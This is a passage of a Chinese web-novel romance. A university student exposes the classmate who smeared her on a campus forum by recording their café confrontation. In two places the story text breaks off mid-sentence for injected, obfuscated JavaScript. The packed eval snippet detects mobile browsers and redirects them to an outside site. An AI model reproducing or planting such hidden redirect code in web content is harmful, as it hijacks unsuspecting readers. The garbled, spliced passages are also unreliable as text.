一下午，迟郁聊了个爽。该说的说，该骂的骂，该“秀恩爱”的也没少秀。一句“不能查到”更是引得众人议论纷纷。 虽然迟郁说了不是付语容，而且查不到。但吃瓜群众一致讨论认为——他这是给前女友留面子。毕竟说了只喜欢云眠，也不等于跟付语容谈过吧。因此“帖子是付语容发的”这几个字刷屏了整个贴吧，甚至已经有“热心群众”去扒她的私生活了。 “真是乌合之众啊。”云眠说。 昨天骂她的人哪怕再狠，也没有疯狂到这种地步的，云眠理解不了他们是什么心理，她甚至从中品出了几分对迟郁的讨好与谄媚。 现在付语容的高中经历已经被网友说了个七七八八了，包括但不限于高中就很爱化妆啊，很喜欢找男生聊天啊，不咋好好学习真不知道怎么考上的首都大啊等等。和昨天骂自己的如出一辙。 云眠看着，只觉得想笑。 这实在是太荒诞了。人们攻击女生的方式往往如此。 “付语容……你再忍耐一会儿吧。”云眠喃喃自语。 - 另一边。 付语容同样刷到了帖子，看见自己的名字彻底霸屏，她气得手都在抖，恨不得穿进屏幕骂死这群胡说八道的人！一想到昨天云眠的遭遇，又想到今天她竟然经历了同样的事情—— “草！”靠着仅剩的理智，她用力将手机摔到了床铺上，这才避免了一场悲剧。 她声音实在是太大。就连带着耳机的舍友也听到了，无奈地摘下耳机，疑惑道：“语容，你又怎么了？最近怎么这么暴躁？” “活得像你一样迟钝，也真是一种天赋。”方心甜单手扎着马尾，嘴里叼着发圈，因此声音听起来嘟嘟囔囔的，“我说语容，你也别太生气了，气大伤身。” 付语容轻而易举地听出了她话里的嘲讽与幸灾乐祸，干脆利落道：“滚。” “啧啧。”方心甜已经扎好了头发，“看在你心情不好的份上，我就不跟你计较了。” 付语容敏锐道：“这该不会也是你干的吧？” “什么我干的？”方心甜无辜，“这帖子不是迟郁发的吗？” “上次骂云眠的帖子下面那一堆夸我的，是你开小号引导的吧，不然为什么会莫名其妙提到我！”付语容恨的牙痒痒，“如果不是你引导，今天为什么这么多人骂我！” “拜托，我很闲吗？” 说完这句话，方心甜拿出专业书一页页翻着，“我最近在准备比赛，我很忙的好吗？” “不过——”方心甜一边思索，一边手指轻轻点着下巴，“语容，原来你知道昨天的帖子下面很多人夸你呀，都把你吹捧成女明星了。你真是得了好处就偷偷收着，不顺你心意你就爆发呀。就算是我，你不应该感谢我吗？” “嘴上说着云眠哪里好哪里好，实际上你也没帮她吧，我只是唬你一下，你就立马把录音删了。”方心甜啧啧道，“哎呀，明明只有你能帮助云眠了，偏偏你不帮。” 一想到迟郁说的那句“查不到”，方心甜便觉得胜券在握，不由得洋洋得意：“估计你跟云眠也要绝交喽。” 回答她的是付语容猛捶桌子的声音。 怼了付语容，方心甜心情大好，正想着再去其他软件吃会儿瓜，手机“叮”地响了一声，她拿起来，发现竟然是云眠发来的消息。 [云眠：在吗？] [甜心小方：怎么啦。] [云眠：你……有没有看到贴吧啊。] 方心甜记起昨晚聊天时，她还因为帖子的事安慰了云眠几句，云眠看起来全然不知是她干的。 想到这里，方心甜翘着手指打字回复。 [甜心小方：看到了。] [甜心小方：眠眠，我一直都相信你，你还好吗？] [甜心小方：哎……也不知是谁干的，真是太可恶了。] 云眠那边的消息很快回复了过来。 [云眠：你和语容在一起吗？] 方心甜扫了一眼耷拉着脸坐在椅子上刷手机的付语容，打字回复。 [甜心小方：没有呢。] 想了想，她试探道。 [甜心小方：难道……你是觉得？] [云眠：网上都这么说。] [云眠：你有看到吗？] [甜心小方：哎……我看到了。可是你跟语容平时关系也不错吧？] [甜心小方：我觉得语容应该不会这么干吧，哪有这么坏的人啊。] [云眠：是啊……] [甜心小方：不过也有可能，我们都看错她了。] [甜心小方：毕竟人心隔肚皮嘛。] [甜心小方：眠眠你不要太伤心了，你说语容为什么会这么干啊？] [云眠：谢谢你安慰我。] [云眠：我也不知道。] [云眠：但我现在心情好差。] [云眠：你能陪陪我吗？心甜。] 方心甜挑了挑眉，心说你这是哪一出，怎么不找迟郁陪你？不过她转念一想，也许他俩吵架了呢？也挺正常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636201|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧，甚至分手了也有可能。 本着要冲在吃瓜第一线的心理，方心甜欣然答应了。 巧的是，云眠又一次约在了那天的咖啡厅。 方心甜这是第二次来这个咖啡厅。上一次还是因为，她正捧着书不知去哪，突然之间，看见了坐在靠窗位置的那女生，以及她对面那衣着朴素但气质不凡的女人。 方心甜下意识地停下脚步，仔细打量了两秒钟。她突然觉得这女生有点眼熟。 好像……好像她前不久在网上看到的那个，挺出名的，和迟郁一起的，叫什么来着……想起来了，云眠！ “她对面的这是谁？迟郁妈妈？”方心甜自言自语。 于是她抱着书走了进去，并且找了个不远不近的地方听完了她们剩下的对话。 “原来这是云眠的妈妈啊。”方心甜心想，“有这种妈也真够窒息的。不过迟郁这种金龟婿，她妈竟然不同意。” 云眠妈妈已经离开了，但云眠没走，反而坐在位置上喝着咖啡。 方心甜左思右想，自己也没什么事干，干脆在这里写会作业吧。 她写得正起劲，思路却突然被打断。方心甜心中一股火气，但还是忍住，扯出一个笑脸转过了头。 “你好，请问可以借我一张白纸吗？” 原来是云眠。 “当然可以呀。”方心甜脸上笑意不变，眼底却在观察她，“小姐姐，你要白纸做什么呀。” “做数学题。”云眠淡淡说。 你装个屁。方心甜心想。 “天呐，恕我不能理解学霸。小姐姐，你是隔壁首都大学的学生吗？”她笑盈盈道。 简单畅聊几句后。云眠表示了感谢便回到了原来的位置。 方心甜百无聊赖，一边转笔一边偷偷观察着云眠，发现她居然真的在做题，而且十分认真。 刹那间，方心甜又想起去年的奖学金似乎也是云眠的，她似乎有在别人口中提起数学系的第一名一直叫云眠，而且这人不光学习认真成绩好，长得还特别漂亮。 方心甜在心里翻了个白眼。 但云眠确实很漂亮。 方才在咖啡厅外面，她率先注意到的便是云眠的脸。极素雅极白净，哪怕没有化妆，也透着一股与生俱来的温润如玉的气质。活脱脱像个盈盈独立于世间的仙女。 刚才云眠凑近，方心甜注意到她脸上一点毛孔都看不见。不仅如此，那双透亮的清澈的眼睛，简直透着小鹿般的无辜，又勾人心魄。更不用提她丝绸般的头发，纤细的脖颈和修长的身姿…… 方心甜一只手捏着白纸，揉成一团，扔在旁边的垃圾桶里，便愤然离去了。 说实话，她都不知道自己在生什么气。 可每次凑近看云眠，她都觉得好生气。 偏偏云眠还一点没有意识到！点个单还非要凑她这么近！ “心甜，你喝什么？” “随便。”方心甜根本没心情。 “随便？”云眠点头，“好，那我帮你点和上次一样的。” 方心甜“嗯”了一声，强颜欢笑：“你还记得我上次喝的什么啊。” “对呀，你不是为了我才走进来的吗？”云眠笑笑。 35. 钢琴 “……你说什么？”方心甜愣了。 “上次呀。”云眠用她那小鹿般的眼睛一眨不眨地盯着方心甜，似乎是在帮她回忆，“昨天，我和我妈妈坐在那个位置。” 树影摇曳。云眠指完靠窗的座位，又笑着将手指向下，隔空点了点桌子：“心甜你就坐在这里。” “对吧？” “啊，是。”方心甜笑得僵硬，“你记得挺清楚的。” “不仅如此，我还记得那天天气很好，我很无聊，只能四处张望，刚好看见窗户外的一个女生。”云眠想了想，“对，就是你呀，心甜。你抱着一些书，不知道为什么一直在盯着我看。” “然后，你特意走进来了吧？刚开始你坐在更远一点的位置。”云眠指了指，“那里。但可能是因为听不清，没过多久你又往里面挪了挪，坐到了现在的地方。” 方心甜彻底不说话了。 “虽然你表面上看起来一直在学习，但你的表情一直跟着我们说话的内容而变耶。那时候我在想，你认识我吗？为什么你一直在观察我，一直在偷听我说话？” “直到晚上，我去付语容的宿舍里看见了你。”云眠温和地笑，“现在说来，其实我也是为了你才去的。” “我真的很好奇，你为什么要做这种事呢？明明我们只有一面之缘吧。” “什么事啊……”方心甜挣扎，“我怎么听不懂你说话。” “方心甜，你需要我把话说得更明白一些吗？” “……” “为了把你约出来，迟郁可是特意在网上说查不到那个小号啊。” “本来就是查不到……” 云眠微微一笑：“网上说，在我转学之前，迟郁和付语容才是真情侣。我是小三，我插足他们感情，我是从乡下转来的乡巴佬。” “渝川是我的家乡，那里才不是乡下呢。” “不过——”云眠突然停下了话语，仔仔细细地观察着方心甜，像要将她看穿，“心甜，我现在看你，觉得好熟悉呀。” “嘭——” 伴随着咖啡放下的声音，方心甜整个人猛地弹了起来。 桌子旁端着咖啡的服务员一脸惶恐，诧异道：“您好，您没事吧？” “她没事，就是锻炼锻炼身体。”云眠说。 “……没事就好。您的咖啡到了，轻慢用。”服务员将另一杯咖啡从托盘中端出，放下。 木质桌子上，一杯是传统的美式黑咖，另一杯是云眠的抹茶拿铁。 云眠端起拿铁，忍不住又撒了一把糖，用吸管搅拌：“我真是一点苦都不想吃。” 方心甜面色阴沉，一脸戒备地坐下，手指不停哆嗦，险些将咖啡碰倒。 “心甜。我记得，在我高一的时候，参加了一场全国范围的中国舞大赛，得了省区第一名。当时恰好首都一中重视艺术班的发展，所以让我免学费入学。”这段回忆太久远了，云眠再次提起，不免有些怀念，“记得那次渝川二中一共有两个学生入围，一个是我，另一个好像是叫……” “方，心甜。” 云眠既像自言自语，又像刻意在喊她名字。 对面的人久久没有说话。 “心甜，你现在学的是中国舞专业吗？”云眠问。 见她没反应，云眠垂下眸，小心翼翼地喝了口拿铁，热气与咖啡液交叠，她如旧被苦得舌尖发麻：“……看来我是不喜欢咖啡豆的味道啊。” “你现在提起这个，是觉得很骄傲吗？”不知过了多久，方心甜突然开口，声音冷硬。 “这件事确实很值得骄傲啊。”云眠挑眉，“现在全学校都知道我当时是“从乡下”转学来的，我总该解释一下吧——我的学费是首都一中出的，不是迟郁给的。” “从乡下”三个字被她咬重了音，每一个音节都恶狠狠砸在方心甜心里。 方心甜面色不善地盯着她良久：“所以，你是想把这件事情归结成我羡慕你，我嫉妒你吗？” 云眠认真道：“我当然不觉得你嫉妒我。当时我去了首都，你仍然在渝川，但我们现在在同一所大学，我学的甚至是与艺术毫不沾边的专业，而你呢？你比起我……” “难道我学的就是了吗！”方心甜突然怒喊了一声，可下一秒，她竟毫无预料地哭了起来，声音颤抖，“我当时甚至都没在渝川上学！我又转去了更偏的学费更低的地方！你满意了！” “我苦苦学了三年才考上这里！当然如果没有你！转去首都一中的就是我！是我！” “没有我，也会有其他参赛的选手。”云眠很冷静，“我是第一名，而你不是第二名。” “那你也可以考不上啊！凭什么我没考上，你就考上了？！你现在跟我装什么啊，谁不知道数学系是首都大学分数最高的专业！” 她撕心裂肺地喊着，不停地拍打着桌子。以致于那浑身乌黑的咖啡洒了满桌，飘起苦涩的香味。 云眠沉默了。 两人之间突然形成了微妙的平衡，云眠自顾自喝着这杯难以下咽的拿铁，对面的方心甜哭得满脸泪花，鼻涕横流。 云眠始终留了一寸余光给她，见此情景抽出一张纸递了过去。 方心甜没接。 云眠收回了手。 该安慰吗？该质问吗？ 到最后，云眠什么也没说出口，闷头喝完了一整杯。 手机亮了一瞬，是迟郁发来的消息。 [cycycy：怎么样了？] [眠眠：快结束了。] [cycycy：我来接你。] 关上手机，云眠问出了最后一个问题：“所以，你为什么要这样做，方心甜。” “……我也不知道。” “你没有什么话想跟我说吗？” “没有。” 云眠点了点头：“好。谢谢你提供的录音。” 屏幕上，一条三十分钟的录音安静躺着，与其形成对比的是后面疯狂跳动的秒数，以及方心甜狂跳不止的心脏。 “这次你可没有办法威胁喽。”云眠语气轻快。 - 澄清的帖子于一小时后发出。 ym1的昵称闪瞎了大家的眼。尤其是看到——注册日期和迟郁是同一天。网友们被迫吃了一大口狗粮，纷纷点进去想要看看里面到底是什么内容。 [ym1：澄清一下某些传闻。] [1L：发布视频] 视频的内容很简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640726|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单，手机录屏，从零点零一秒到三十分钟五十六秒。有沉默，有平静的对话，也有撕心裂肺的哭喊。 云眠没有打码。 “我以为她起码会给我一个道歉。”云眠说。 迟郁全程安静地坐在她身边。等到云眠编辑完所有内容，关闭手机，发出这一句感叹时，他才轻轻抬起手，温柔又小心地摸了摸云眠的头发。 “……如果她跟我说了对不起，其实我会把后面的内容给删掉。”云眠闷声道。 迟郁垂眸看着她：“那网友会说你造假，你心虚。” “哎——”云眠叹了口气，“别提了，我算是知道网友的实力了。希望以后能安安静静的。” 精致宽阔的西餐厅包厢，白色洋桔梗缠绕着，盘旋着。柔和的音乐轻轻吟唱，云眠侧过脑袋，静静凝望着迟郁的睫毛、鼻尖，再到嘴唇。 她清了清嗓子。 敲门声也在此刻传来，服务员送进来一瓶雪莉酒。 迟郁抬眼：“换成苏打水吧。” “不要。”云眠制止了他，“我想喝。” 迟郁犹豫：“你……喝过酒吗？” 云眠摇了摇头。 “再来两瓶苏打水。”迟郁说完，右手拎起酒瓶打开。 “砰”的一声，浓郁的酒味顿时直冲进鼻腔，再下一秒，是甘甜的水果香。 包厢中的酒杯是高脚杯，其中向上凸起，做成了类似洋桔梗的形状。迟郁为她倒了小半杯酒。 云眠立刻表示了不满：“太少了。” 迟郁哄道：“你先轻轻抿一口。” 云眠抓起来抿了一口便放回去了：“噗。好难喝。” 迟郁轻轻笑着。 云眠突然觉得这样也挺好的。 但硬要她说出哪样，她也说不清晰。只能说如此大概……挺好。 她轻轻侧身盯着一直在笑的迟郁，装凶道：“谁让你笑了。” 迟郁嘴角边勾起浅浅的梨涡：“不笑了。” “好饿——”云眠伸了个懒腰，“我还是第一次来这种餐厅吃饭。” “我也是。”见云眠投来怀疑的眼神，迟郁补充道，“第一次和你来。” “你说，我们高中时候为什么不一起来呢？”云眠感觉她今天怪怪的，总是十分念旧。 “平时没有时间。”迟郁说，“周末……在陪你练琴。” “我都好久没有练琴了。”云眠语气低了下去。 “我家里有一架你的钢琴。” “我的？我哪有钢琴？”云眠诧异。 “刻着你的名字，这么多年没有人动过。”迟郁眼神变得落寞，“……它一直在等你。” 云眠一愣：“能给我看看吗？” 迟郁便拿起自己的手机给她，示意她自己去翻相册。 云眠的视线却停留在了他手机解锁后的主页面上。 是她发布的那条帖子里，迟郁的回复。时间是十几分钟前，抢占了二楼。 [cy1：我从高中见到云眠的第一眼就喜欢她，直到现在也喜欢她，我只喜欢云眠，也只喜欢过云眠。希望大家不要质疑我对云眠的感情，我在追她。我此生最大的愿望就是追到云眠，让云眠幸福。]